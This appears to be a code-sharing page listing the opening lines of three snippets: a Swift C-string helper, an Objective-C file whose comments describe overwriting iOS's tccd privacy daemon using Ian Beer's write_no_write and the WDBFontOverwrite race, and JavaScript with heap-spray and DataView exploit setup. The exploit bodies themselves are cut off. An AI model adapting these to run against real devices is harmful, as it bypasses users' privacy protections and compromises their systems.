This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import Foundation | |
func withCStrings(_ strings: [String], scoped: ([UnsafeMutablePointer<CChar>?]) throws -> Void) rethrows { | |
let cStrings = strings.map { strdup($0) } | |
try scoped(cStrings + [nil]) | |
cStrings.forEach { free($0) } | |
} | |
enum RunCommandError: Error { | |
case WaitPIDError |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@import Darwin; | |
@import Foundation; | |
@import MachO; | |
#import <mach-o/fixup-chains.h> | |
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from | |
// WDBFontOverwrite | |
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) | |
// Please don't call this code on iOS 14 or below | |
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sleep( sleepDuration ){ | |
var now = new Date().getTime(); | |
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } | |
} | |
function gc() { | |
for (let i = 0; i < 0x10; i++) { | |
new ArrayBuffer(0x1000000); | |
} | |
} | |
let data_view = new DataView(new ArrayBuffer(8)); |